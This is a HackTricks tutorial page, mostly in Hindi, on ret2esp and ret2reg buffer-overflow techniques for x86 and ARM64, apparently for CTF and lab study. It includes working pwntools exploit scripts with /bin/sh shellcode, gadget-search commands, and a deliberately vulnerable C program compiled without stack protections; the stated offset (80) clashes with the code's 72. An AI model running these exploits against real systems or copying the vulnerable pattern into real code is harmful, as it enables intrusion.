Ret2esp / Ret2reg

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Ret2esp

क्योंकि ESP (स्टैक पॉइंटर) हमेशा स्टैक के शीर्ष पर पॉइंट करता है, इस तकनीक में EIP (इंस्ट्रक्शन पॉइंटर) को jmp esp या call esp इंस्ट्रक्शन का पता बदलना शामिल है। इसके द्वारा, शैलकोड सीधे ओवरराइट किए गए EIP के बाद स्थापित होता है। जब ret इंस्ट्रक्शन कार्यान्वित होता है, तो ESP अगले पते को पॉइंट करता है, ठीक वहाँ जहाँ शैलकोड संग्रहित है।

यदि Address Space Layout Randomization (ASLR) Windows या Linux में सक्षम नहीं है, तो साझा लाइब्रेरी में पाए गए jmp esp या call esp इंस्ट्रक्शन का उपयोग संभव है। हालांकि, ASLR सक्रिय होने पर, इन इंस्ट्रक्शन्स के लिए विकल्पीकरण करने के लिए विकल्पीकरण करने की आवश्यकता हो सकती है (और आपको PIE को परास्त करने की आवश्यकता हो सकती है)।

इसके अतिरिक्त, शैलकोड को EIP के भ्रष्टाचार के बाद स्थापित करने की क्षमता, स्टैक के बीच में नहीं, सुनिश्चित करती है कि किसी भी push या pop इंस्ट्रक्शन जो कार्य के संचालन के दौरान किया जाता है, शैलकोड के साथ हस्तक्षेप न करें। यदि शैलकोड कार्य के स्टैक के बीच में स्थापित होता।

स्थान की कमी

यदि आपको RIP को ओवरराइट करने के बाद लिखने के लिए स्थान की कमी है (शायद कुछ बाइट्स ही), तो पहले jmp शैलकोड जैसा एक आदिक शैलकोड लिखें:

sub rsp, 0x30
jmp rsp

और शेलकोड को स्टैक में पहले ही लिखें।

उदाहरण

आप इस तकनीक का उदाहरण https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp में देख सकते हैं जिसमें एक अंतिम धोखाधड़ी शामिल है:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

आप इस तकनीक का एक और उदाहरण देख सकते हैं https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. यहाँ एनएक्स सक्षम नहीं है, एक गैजेट का उपयोग किया गया है जिससे $esp का पता कम किया जा सकता है और फिर jmp esp; का उपयोग करके शेलकोड पर जाने के लिए:

# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

उसी तरह, अगर हमें पता है कि एक फ़ंक्शन उस पते को वापस करता है जहां शेलकोड स्टोर होता है, तो हम call eax या jmp eax इंस्ट्रक्शन का उपयोग कर सकते हैं (ret2eax तकनीक के रूप में), हमारे शेलकोड को निष्पादित करने के लिए एक और विधि प्रदान करते हैं। eax की तरह, किसी भी अन्य रजिस्टर का उपयोग किया जा सकता है जिसमें दिलचस्प पता हो (ret2reg।)

उदाहरण

आप यहाँ कुछ उदाहरण पा सकते हैं:

ARM64

Ret2sp

ARM64 में SP रजिस्ट्री पर जाने की अनुमति देने वाले इंस्ट्रक्शन नहीं हैं। शायद किसी गैजेट को ढूंढना संभव हो कि sp को एक रजिस्ट्री में मूव करता है और फिर उस रजिस्ट्री पर जाता है, लेकिन मेरे काली की libc में मैंने ऐसा कोई गैजेट नहीं पाया:

for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

मैंने केवल उन्हें खोजा जिन्होंने sp की कॉपी की गई रजिस्ट्री के मान को बदल दिया था (ताकि यह अनुप्रयोगहीन हो जाए):

Ret2reg

यदि किसी रजिस्ट्री में दिलचस्प पता है तो उस पर जाने की संभावना है बस उचित निर्देश का पता लगाना है। आप कुछ इस प्रकार का उपयोग कर सकते हैं:

ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

आरएम64 में, यह x0 है जो फ़ंक्शन के रिटर्न मान को संग्रहित करता है, इसलिए यह हो सकता है कि x0 उपयोक्ता द्वारा नियंत्रित बफ़र का पता संग्रहित करता है जिसमें एक शैलकोड को क्रियान्वित करने के लिए।

उदाहरण कोड:

// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

फ़ंक्शन की disassembly की जाँच करने पर देखा जा सकता है कि बफर का पता (bof के लिए वंशास्पद और उपयोगकर्ता द्वारा नियंत्रित) x0 में स्टोर किया गया है जब बफर ओवरफ्लो से वापस लौटा जाता है:

यह भी संभव है कि do_stuff फ़ंक्शन में br x0 गैजेट मिल सकता है:

हम उस गैजेट का उपयोग करेंगे ताकि हम उस पर जाएं क्योंकि बाइनरी PIE के साथ कंपाइल नहीं है। पैटर्न का उपयोग करके देखा जा सकता है कि बफर ओवरफ्लो का ऑफसेट 80 है, इसलिए एक्सप्लॉइट होगा:

from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

अगर fgets की जगह कुछ ऐसा read का उपयोग होता, तो PIE को भी छलकर सकता था केवल वापसी के पते के अंतिम 2 बाइट को ओवरराइट करके br x0; निर्देश को वापस लौटने के लिए पूरे पते की आवश्यकता नहीं होती। fgets के साथ यह काम नहीं करता क्योंकि यह अंत में एक नल (0x00) बाइट जोड़ता है

सुरक्षा

  • NX: यदि स्टैक को क्रियाशील नहीं किया गया है तो यह मदद नहीं करेगा क्योंकि हमें शेलकोड को स्टैक में रखना है और इसे निष्पादित करने के लिए जानपद्द करना है।

  • ASLR & PIE: ये esp या किसी अन्य रजिस्टर पर जाने के लिए निर्देश खोजना कठिन बना सकते हैं।

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated